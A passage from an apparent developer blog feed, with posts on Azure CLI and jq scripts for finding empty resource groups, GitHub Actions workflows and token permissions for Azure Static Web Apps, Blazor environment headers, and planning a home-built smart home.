We defined a set-graphql-resolver policy on the API backend that told APIM how to convert the GraphQL query into a REST call, and sent it to the API.

Since the way we defined our schema doesn’t require us to do any transformation of the returned data, our REST and GraphQL types are matching, we didn’t need to do any additional processing with the http-response part of the set-graphql-resolver, but if you need to change the returned data structure, add additional headers, or any other response manipulations, you can use that to do it.

Hopefully this has shown you just how easy it is to provide a GraphQL interface over a HTTP backend, without having to write a full GraphQL server to do it.

If you do have a go with this, I’d love to hear how you find it.

Finding Resource Groups With No Resources

website-contact@aaron-powell.com (Aaron Powell) — Mon, 15 Aug 2022 06:27:02 +0000

I have a lot of resources and a lot of Azure subscriptions, and as a result, often find that I’m forgetting what everything is used for. Sure, I try to name the resource groups something useful, add tags, and things of that nature, but even still, things can get out of control quickly. For example, I have 47 resource groups in my primary subscription at the moment (let along me second and tertiary ones).

I figured a good start would be to delete all the resource groups that don’t have any resources in them. No resource? well, it’s probably not one that I need anymore (I likely deleted some expensive resource but didn’t do the full cleanup).

But how do we find those, short of clicking through the portal?

Well, let’s start with shell.azure.com and start scripting.

To do this task, there’s two bits of information we’ll need, the names of all resource groups and the count of items in those resource groups.

Getting the names of all resource groups is simple:

`1`	`az group list \| jq 'map(.name)'`

This will output:

[
  "aaron-cloud-cli",
  "dddsydney",
  "httpstatus",
  "personal-website",
  "restream-streamdeck",
  "NetworkWatcherRG",
  "stardust-codespace"
]

Unfortunately, this won’t tell you how many resources are in a group (yes, we are only getting the name property, but the whole JSON doesn’t contain it). In fact, you can’t get that with az group at all, even az group show --name <name> won’t give you it, we’ll have to tackle this differently, instead we’ll get all resources and group them by their resource group, which we can do with az resource list:

`1`	`az resource list \| jq 'map(.resourceGroup) \| group_by(.) \| map({ name: .[0], length: length }) \| sort_by(.length) \| reverse'`

This jq command is a bit complex, but if we break it down, the first thing we’re doing is selecting the resource group name from each resource with map(.resourceGroup), to give us an array of resource group names. Next, we use group_by(.) to group them together and pipe that to another map function that makes an object with the name of the resource group (obtained from the first item of the index) and the length (how many resources are in the resource group). Lastly, it just sorts and orders it with sort_by and reverse, giving us this output:

[
  {
    "name": "httpstatus",
    "length": 11
  },
  {
    "name": "personal-website",
    "length": 3
  },
  {
    "name": "stardust-codespace",
    "length": 1
  },
  {
    "name": "restream-streamdeck",
    "length": 1
  },
  {
    "name": "dddsydney",
    "length": 1
  },
  {
    "name": "aaron-cloud-cli",
    "length": 1
  }
]

Great! Except… it only contains resource groups that have resources, meaning we know what resource groups have items, when we want the inverse, we want the ones that don’t have items.

So, we will need that original query to get all the resource group names and we’ll find the negative intersection between the two arrays, with the leftovers being the resource groups we can discard.

Start by pushing all resource groups with items into a bash variable:

`1`	`RG_NAMES=$(az resource list \| jq -r 'map(.resourceGroup) \| group_by(.) \| map(.[0])')`

Next, we’ll use $RG_NAMES as a substitution into a query against az group list:

`1`	`az group list \| jq -r "map(.name) \| map(select(. as \$NAME \| $RG_NAMES \| any(. == \$NAME) \| not)) \| sort"`

Again, let’s break this more complex jq statement down. We start with getting the names of the resource groups (since it’s all we need) with map(.name). That is then piped to a map call so we can operate on each item of the array. In the second map we use assign the item to a variable $NAME (which we’ve escaped since we’re doing substitution with the environment variable $RG_NAMES), pipe to the $RG_NAMES variable, so we can pipe that to any and see if any item in $RG_NAMES matches $NAME. The result of the any is inverted by piping through not and the result is provided to select to filter down the resource group names to only that didn’t have resources!

`1`	`["NetworkWatcherRG"]`

And there we have it, we’ve successfully executed two lines of code and got back the resource groups that are empty and can be deleted.

Summary

Here’s those two lines again:

1
2

RG_NAMES=$(az resource list | jq -r 'map(.resourceGroup) | group_by(.) | map(.[0])')
az group list | jq -r "map(.name) | map(select(. as \$NAME | $RG_NAMES | any(. == \$NAME) | not)) | sort"

Yes, the jq can look a bit daunting, especially considering how many pipes they are executing, but all in all, it does what’s advertised, returns a list of resource groups that contain no items.

And yes, I may have spent more time trying to figure this out than it would have been clicking through them all, but hey, at least I have it ready for next time! 🤣

Fixing When SWA Pull Request Builds Can't Add Comments

website-contact@aaron-powell.com (Aaron Powell) — Tue, 09 Aug 2022 00:08:41 +0000

I did a recent post about deploying SWA with Bicep and another on advanced GitHub Actions workflows for SWA but I noticed when doing it that when using PR’s on the repo I was no longer getting the comment added to the PR for where the staging site lives. When it’s working correctly you’ll get a comment like this:

Instead, I’d get an error message in my logs:

Unexectedly failed to add GitHub comment.

This doesn’t give you a lot to go with and find the problem, so I reached out to the SWA engineering team to do some debugging and see if we could get to the bottom of it.

Permissions, permissions, permissions

As I mentioned in the deploying with Bicep post, you’ll need to authenticate against Azure, and I prefer the OIDC Connect approach, and in doing so, you need to configure the permissions of the GITHUB_TOKEN to enable id-token write.

And here’s where the GitHub SWA integration broke.

What I missed in the docs is that these are replacement permissions, not additive permissions, meaning if you set the token permissions in the workflow you only have those permissions.

Don’t worry though, it’s an easy fix, you need to add pull-requests: write permissions to the token and then you’ll be good to go.

Check out this commit in my blog repo to see the changed permissions (I also moved the permissions to be set per job rather than per workflow).

Summary

It’s a good idea to know what permissions are needed in the workflows and at what point they are needed, so you can maintain a policy of minimum trust in your deployments.

For SWA, you need to ensure you have pull-requests: write set on your GITHUB_TOKEN permissions if you’re modifying the permissions and still want the Active to do comments on PRs.

Building a Smart Home - Part 2 Where to Start

website-contact@aaron-powell.com (Aaron Powell) — Tue, 26 Jul 2022 01:10:46 +0000

When it comes to smart home stuff there’s so many things to look at. You can control lights, climate control, have smart appliances, play music on actions, have a camera doorbell and respond to movement, and the list goes on. This can make it very daunting when getting started and can result in decision paralysis, so you never start.

And that’s not even accounting for the cost of any hardware you’re getting to then no do anything with!

Where to start

As I’m getting started on my journey, this is a question I asked myself - where will I start.

Naturally, the answer to this will be different for everyone as everyone’s home is different and everyone’s needs are different, but here’s a few decisions that I went through in trying to work out where to start.

Define the problems

To start exploring smart home I sat down and looked at what problems I was trying to solve.

As I mentioned in the first post on designing a smart home I said that the “smarts” of the home shouldn’t get in the way of the expected operation. A light switch should still switch a light, so I looked at the things that worked but could work better.

From this I came up with a short list of problems:

Forgetting the washing machine was done to hang the laundry out
It was cold downstairs in the morning, I’d like it to warm up before we get down
Kids not turning off the TV when asked/screen time was up
Ensuring the house/garage are locked up when we leave
Coming home with the kids after dark and getting them upstairs to bed while asleep

Solving any of these problems with a smart home wouldn’t be revolutionary by any means, but it would help improve our families quality of life, and that’s where I see a smart home really coming into play.

The tech

As a technologist, this is really the thing I wanted to get stuck into - who doesn’t love buying new tech to play with!

But the kind of problems I described above can be solved in many different ways, and then you’ve got different protocols to look at, wifi, ZigBee, Z-Wave, Bluetooth, and so on.

I’ve already decided that I’ll be using Home Assistant as the core of my solution, so I needed to explore options that would integrate with it in the simplest way possible.

But since this is a DIY solution, nothing will be simple so it’s a good idea to start small, buy only one of a device and test it out, before committing to a fleet of them - this saved me on a recent purchase, I found a power monitoring double plug but it turned out to only report the overall plug usage, not a per-outlet reading, which is what I wanted. Thankfully, I’d only bought one of them (around $30) and was able to return it, but even if I couldn’t return it, $30 is a lot easier a cost to swallow than the amount it would’ve been if I got as many as I ultimately want to deploy.

Summary

That comes to the end of this post, I’ve got a few ideas of things that I’d like to improve upon their current (non-smart) solutions to improve quality of life.

And that’s how I see getting longevity out of this hobby, solving things I actually want solved, rather than just tinkering and hoping the coolness factor doesn’t wear off.

In the next post, we’ll move on from theory and start tackling one of these problems.

Controlling Blazor Environments on Static Web Apps

website-contact@aaron-powell.com (Aaron Powell) — Fri, 22 Jul 2022 06:29:21 +0000

Like all good problems, it started with a tweet:

JT is trying to run a Blazor application, using appsettings.json but load a different one depending on what environment is being deployed to. Given that Blazor has the feature built in to load different configs based on the ASPNETCORE_ENVIRONMENT environment variable, it’s something that is doable, but how do we do it?

Understanding Static Web Apps config

On SWA we have application configuration and you might think this is the starting point for what you want to do. But this is not quite right, this is actually used to control the configuration for the Azure Functions backend that you use, not the frontend for your application.

In fact, there’s no way to directly control the client “environment” once it’s deployed, as the application is built before it gets to Azure, that’s one of the jobs of the GitHub Actions step, azure/static-web-apps-deploy (or you can do it yourself like I showed here). So generally speaking, if you want to inject “environment” information, you have to do it at build time.

Blazor app settings

The caveat to that last statement is Blazor doesn’t quite work like that, it it will load the appsettings.json file at runtime (you’ll see it in the network tab of the browser devtools), so how do we control that?

Well, digging through the Blazor docs, I can across this page and it shows there are two ways to control the environment of the Web Assembly application, either via manually starting the Blazor application, or via a custom header.

Personally, I think the header approach is the better of the two, as it doesn’t require a code change to the files generated by Blazor, but I do wish it was an X- header, given it’s not a standard header.

Customizing headers in SWA

So, we’re going to want to customize the headers of the SWA application, and we can do that with the staticwebapp.config.json file with the following:

{
  "globalHeaders": {
    "Blazor-Environment": "<your environment here>"
  }
}

Add this file to your repo, or add the globalHeaders section to your existing config file, add some transformation logic to set the environment value during built and deploy!

Note - if you don’t want to do it on all requests, you can use the headers section of an individual route, but I found it’s easier to do it globally.

Summary

And with that, we can control the Blazor environment on our SWA application.

By using the staticwebapp.config.json file we’re able to set the custom header that Blazor needs to know what environment it’s running under, and control the settings that the WASM application will load up when it runs.

Taking a SWA DevOps pipeline to the next level

website-contact@aaron-powell.com (Aaron Powell) — Tue, 19 Jul 2022 06:53:33 +0000

One of the things I like most about Azure Static Web Apps, aka SWA, is that it generates you a GitHub Actions workflow file for you, ensuring that you’ve got a CI/CD pipeline that will deploy the code as you push changes, making repeatable deployments happen by design. If you’re not using GitHub Actions, no problems, you can use Azure Pipelines, GitLab, Bitbucket, or the newly release cli deploy command and achieve the same repeatable workflow rather than falling back to copying files to a remote server.

For this post, I’ll be using GitHub Actions, as that’s what I’m using for my blog (which this article is based off), but the patterns will be the same for other build platforms.

To refresh, or for those who aren’t familiar with SWA, here’s the job that gets generated which will build and deploy your application to Azure:

build_and_deploy_job:
  if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
  runs-on: ubuntu-latest
  name: Build and Deploy Job
  steps:
    - uses: actions/checkout@v2
      with:
        submodules: true
    - name: Build And Deploy
      id: builddeploy
      uses: Azure/static-web-apps-deploy@v1
      with:
        azure_static_web_apps_api_token: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}
        repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for GitHub integrations (i.e. PR comments)
        action: "upload"
        ###### Repository/Build Configurations ######
        app_location: "src" # App source code path relative to repository root
        api_location: "api" # Api source code path relative to repository root - optional
        output_location: "public" # Built app content directory, relative to app_location - optional
        ###### End of Repository/Build Configurations ######

The really important part of this is the Build And Deploy job as it’s responsible for two tasks, building the front end (and Functions API if it exists), then uploading it to Azure.

While this workflow will cover many use cases, it’s possible to want to grow beyond it. Maybe you’re wanting to run tests as part of the pipeline, or you want to add an approval process for the deployment, or anything else that means that combining the build phase with the deploy phase can make it difficult.

Going beyond the default

Let’s look at going beyond the default, and to illustrate a complex GitHub Actions pipeline that ultimately deploys to SWA:

This is a picture of the workflow for my blog and it consists of seven jobs to be run with nearly 40 steps run across them all. Some of these jobs run in parallel, some are run in sequence, but all-in-all, this is how I deploy my blog.

So, why is it so complicated? Well, my website is made up for three different platforms, Hugo for the blog itself, .NET for the Blazor powered search and TypeScript for the API (which I’ll blog about separately soon). Because of this, the standard SWA action won’t work; it doesn’t know what to build!

Because of this, I have three primary parallel jobs, build_hugo, build_api, and build_search_ui and each of these will generate artifacts to be deployed. For the post, I’ll document a much simpler process, but you can view my full (and maybe overly complex…) workflow at build-and-deploy.yml.

Build first, deploy later

The first thing we’re going to want to do is split the build phase out from the rest of the pipeline. The actual steps you’ll run in GitHub Actions will depend on what you’re building, let’s go with a JavaScript application:

job:
  build:
    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
    runs-on: ubuntu-latest
    environment: build
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
          with:
            node-version: 16
      - run: npm ci
      - run: npm run build

The important part here is to know where the output will go, and in this case we’re just assuming that it’s in the build folder of this hypothetical application.

But how do we get them later? By turning them into an artifact of the job, using the actions/upload-artifact Action:

- name: Publish website output
  uses: actions/upload-artifact@v3
  with:
    name: website
    path: ${{ github.workspace }}/build

This will package the output contents of our build step and upload it to the workflow that we can use later on.

Artifacts with lots of files

If you’re working with an output that will contain a lot of files, such as a node_modules folder (because it’s a non-bundled application), you might want to package them into an archive and then upload that archive (like I do with my API):

- run: npm ci
- run: npm run build
- run: mkdir ${{ github.workspace }}/${{ env.OUTPUT_FOLDER }}
- run: tar -cvf ${{ github.workspace }}/${{ env.OUTPUT_FOLDER }}/api.tar .

- name: Publish API output
  uses: actions/upload-artifact@v1
  with:
    name: api
    path: ${{ github.workspace }}/${{ env.OUTPUT_FOLDER }}/api.tar

This is because when uploading, it’ll do it file-by-file upload and when there’s a lot of files this can take a looooooong time (thus making builds slower), but if we create an archive, it’ll upload just a single file, which is a lot less IO.

Deploying from artifacts

Now that we’ve split out our build phase from the SWA Action, how to do we use it?

Start by defining a new job in our workflow, deploy, and add a needs section to it saying that it needs the build job to complete first, otherwise this job will run in parallel and we can’t deploy until we’ve built!

job:
  build:
    # snip
  deploy:
    runs-on: ubuntu-latest
    environment: production
    needs: [build]
    steps:
      # todo

Unlike the build job, we’re not going to need actions/checkout, because we’re not needing the source code for our application, we’re going to use the prebuilt artifact, which we get from actions/download-artifact:

job:
  build:
    # snip
  deploy:
    runs-on: ubuntu-latest
    environment: production
    needs: [build]
    steps:
      - name: Download website
        uses: actions/download-artifact@v1
        with:
          name: website
          path: ${{ github.workspace }}

Specify anywhere that you want the artifact to be downloaded to. In this case, we’ll put it on the root of the agent, since we know it’s a new agent for this job, there’s no other files that we need to worry about.

Next up, we’ll bring in the azure/static-web-apps-deploy Action so that we can deploy to Azure:

job:
  build:
    # snip
  deploy:
    runs-on: ubuntu-latest
    environment: production
    needs: [build]
    steps:
      - name: Download website
        uses: actions/download-artifact@v1
        with:
          name: website
          path: ${{ github.workspace }}

      - name: Build And Deploy
        id: builddeploy
        uses: Azure/static-web-apps-deploy@v1
        with:
          azure_static_web_apps_api_token: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}
          repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for GitHub integrations (i.e. PR comments)
          action: "upload"
          ###### Repository/Build Configurations ######
          app_location: "" # App source code path relative to repository root
          api_location: "api" # Api source code path relative to repository root - optional
          skip_app_build: true
          ###### End of Repository/Build Configurations ######

There’s two secrets needed, the GITHUB_TOKEN, which is provided by GitHub and AZURE_STATIC_WEB_APPS_API_TOKEN, which is the deployment token that’s generated when you first connect the repo to SWA, can be obtained via the portal, or via the Azure CLI (and that I was leaking in my logs, prompting this blog post).

The other parameters we need to change for the action is that we’ll set the app_location to the place relative to the ${{ github.workspace }} (which is empty in our case) and then set skip_app_build to true, since we’ve already built, all we need to do is deploy.

Summary

And with that, we have a completed, multi-stage workflow that looks like this to build and deploy SWA (I’ve excluded the triggers for simplicities sake):

job:
  build:
    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
    runs-on: ubuntu-latest
    environment: build
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
          with:
            node-version: 16
      - run: npm ci
      - run: npm run build
      - name: Publish website output
        uses: actions/upload-artifact@v3
        with:
          name: website
          path: ${{ github.workspace }}/build

  deploy:
    runs-on: ubuntu-latest
    environment: production
    needs: [build]
    steps:
      - name: Download website
        uses: actions/download-artifact@v1
        with:
          name: website
          path: ${{ github.workspace }}

      - name: Build And Deploy
        id: builddeploy
        uses: Azure/static-web-apps-deploy@v1
        with:
          azure_static_web_apps_api_token: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}
          repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for GitHub integrations (i.e. PR comments)
          action: "upload"
          ###### Repository/Build Configurations ######
          app_location: "" # App source code path relative to repository root
          api_location: "api" # Api source code path relative to repository root - optional
          skip_app_build: true
          ###### End of Repository/Build Configurations ######

We’ve seen how we can use artifacts to move the output from one job to another, allowing for a clearly defined build and deploy phases within our workflow.

With this customisation, we can introduce any additional steps to the workflow that we want, such as running tests, deploying SWA with Bicep, or running parallel jobs to speed up a workflow run.

I have a much more complex form of this running my blog which you can see in my workflow at build-and-deploy.yml.

Bonus - splitting PR management

SWA will automatically generate a preview environment from a PR, and part of that requires a second job to cleanup when the PR is closed:

close_pull_request_job:
  if: github.event_name == 'pull_request' && github.event.action == 'closed'
  runs-on: ubuntu-latest
  name: Close Pull Request Job
  steps:
    - name: Close Pull Request
      id: closepullrequest
      uses: Azure/static-web-apps-deploy@v1
      with:
        azure_static_web_apps_api_token: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}
        action: "close"

This job is included in the generated workflow file and because of that we have some if checks on the jobs, as the workflow trigger is on PR’s but we need to selectively run jobs depending on what the event that triggered the PR is.

But we can split this up as well, so we have a “close PR” workflow that’s independent from our “build and deploy” job, and we can do that by modifying the triggers for the workflow.

Let’s start with our build and deploy workflow:

on:
  push:
    branches:
      - main
  pull_request:
    types: [opened, synchronize, reopened]
    branches:
      - main

This workflow will still run on PR, but it’ll only run if the PR is opened, synchronized (files are pushed to it), or reopened. This means we can remove the if check from our build job.

Next, create another workflow file and move the close_pull_request_job across:

name: Close PR

on:
  pull_request:
    types: [closed]
    branches:
      - main
jobs:
  close_pull_request_job:
    runs-on: ubuntu-latest
    name: Close Pull Request Job
    environment: production
    steps:
      - name: Close Pull Request
        id: closepullrequest
        uses: Azure/static-web-apps-deploy@v1
        with:
          azure_static_web_apps_api_token: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}
          action: "close"

This one is only triggered on the closed event for a PR, and runs a single step to destroy the preview environment.

Sure, it means there’s an additional workflow file that you have (and some potential for duplicated code), but I prefer the cleaner view of it and that it’s clear which workflows will run when.

Building a Smart Home - Part 1 Design

website-contact@aaron-powell.com (Aaron Powell) — Mon, 18 Jul 2022 05:28:52 +0000

In the middle of 2020, while the COVID pandemic was really hitting full steam, my wife and I made a decision, we’d demolish our house and build a new one, seems like the perfect time!

Well, about 6 weeks ago, we moved into our new house and it was time for me to tackle the thing I’d been hanging out to do, making this into a smart home.

So with this happening, I’m going to kick off a new series on my blog, sharing my journey in building a smart home.

Because we’ve built this home from scratch I was able to take a lot of inspiration from what I’ve been seeing people doing online when it comes to their smart homes and incorporate it into my plans.

Human-centred design

From following people online, the first thing that I did was plan, plan what it was that we were going to do with the house, and to do that I tackled this with a human-centred design.

For our house there’s 4 primary users with a range of technical skills (from myself to my 4 year old), with a range of secondary users such as our parents and friends. With this in mind, how do we make a smart home?

The home will only be as smart as it’s dumbest user. You see, over the years the design of every day items have been iterated on and people have built expectations based of that design. Dan Norman wrote a book called The Design of Everyday Things which culminated in the term Norman Doors.

But how does this apply to a smart home? If we think about the kinds of things we can add some intelligence to, lights are a common starting point but are also an easy way to break expected design. If I can walk up to a light switch and flip it to change the state, it’s not smart, it’s a broken design.

After all, our house shouldn’t require a manual to live in and operate.

As an aside - we do have something that I would put in this category of poor design, our fans. We put fans in each of our bedrooms and they are a broken user experience. There’s a switch on the wall and it’ll turn on the light in the fan, and we have a remote to turn the fan on/adjust speed. Then if you turn off the switch the light goes off… and so does the fan 😒. Turns out the switch controls power to the whole circuit, not just the light, so if you want the fan on you have to flip the switch, turn it on with the remote then use the remote to turn off the light, which isn’t great in summer and you want to turn the fan on during the night (we had the same ones in the place we rented, so we’re familiar with them). I’ll talk about solving that in a future post.

What’s smart then

So how do we make a house smart while not breaking the expectations that we have as users?

To achieve this, I’m going to be tackling it from a progressive enhancement point of view. Take our light switch example, a light switch should still operate as a light switch, but it should also be adaptive to our needs. If I’m watching a movie in the media room, it should adjust the lighting accordingly.

The tech

Right now, we’re still in the early stages of “smartening” the house, so the tech aspect of it is basic, but there are two core pieces to it, first is Google Home. My wife and I are both Android phone users, so we use Google Assistant a bit, and for a few years we’ve had some Google Home/Nest speakers to set timers/play music/etc., so it makes sense for that to be the primary user interface.

For the brains of the operation, I’m using Home Assistant as a hub, running on a Raspberry Pi 4 (HAOS install - the Pi 4 is dedicated for Home Assistant). I originally experimented with a Pi 3a for running Home Assistant, but kept finding that I was running out of memory on the device, so I upgraded to a Pi 4.

I also configured it to boot from USB, rather than the SD card (which is the default), so you don’t have to worry about the write-lifetime (I fried an SD card while experimenting and lost a whole setup).

Networking

The other part of my plans was how to tackle networking. Since moving out of home, I’ve always seemed to deal with shit wifi. I’ve built hodgepodge systems of routers with bridging access points, Ethernet over Power bridges, strung ethernet cables, and they’ve always been, at the best, ok.

Since we’re building from scratch I decided to do this right, and that meant running CAT6a everywhere of importance, then having access points covering the aspects of our house. Basically, if the device won’t move (TV, desktop PC, etc.) it should get ethernet, otherwise it can use wifi.

With our new house the NBN connection comes into the garage, with two downstairs living spaces (one at each end of the floor), an upstairs living space, as well as a home office. These were the points deemed necessary to have ethernet, as then I can run a cable to each TV, as well as to my home office.

I’ve gone with Unifi products (while they are more expensive, I’m happy to be in the prosumer market) and have a setup consisting of a Unifi Dream Machine (UDM) - NBN comes into that, a USW Lite 16 port PoE switch and 3 InWall HD’s (one behind each TV). The garage has an 8 ports going out to the house, which go to our TV’s, 2 to my office, 1 to my wife’s office and 2 external for cameras.

In total, we have 32 ethernet ports across the UDM, Lite 16 and InWall HD’s (in reality, less as the Lite 16 runs the InWall’s), and that gives me plenty of ports to run everything where they need to be.

Is it overkill? Probably. Do I get full signal strength everywhere in the house? Absolutely.

Power

The other thing to plan for when designing for a smart home is power. The rule of thumb is that you can never have enough power points, and even when you’ve put them all in, they’ll still not be enough.

For the main points in our house, behind the TV’s, I put 4-plug wall plates, which will give enough to do direct plugging in for most appliances, but you can always expand with power boards as needed. For example, our media room had power for the TV, Xbox and Xbox controller charger, which leaves one left over for a soundbar (or similar) in the future, before having to put in an expander (we also have an additional 2 points elsewhere for the recliners 😉).

We have some oddities in some rooms though, like our laundry has a heap of single power points, rather than doubles, so I’ll have to review that down the track when laundry is the space to make smart.

Summary

This brings me to the end of the first post in this series.

Coming into this project with a from-scratch house build has made it a lot easier for me to design for what I want, rather than having to retrofit into the house.

I really think that the most important aspect is approaching a smart home from the human perspective is important. Making it “smart” by just throwing tech in the house will run the risk of breaking expectations that people will have on how things work. No one wants to live with a Norman Door every day.

So, think through your connectivity, think through your power requirements, but most importantly, think through the people who will use the house and design for them.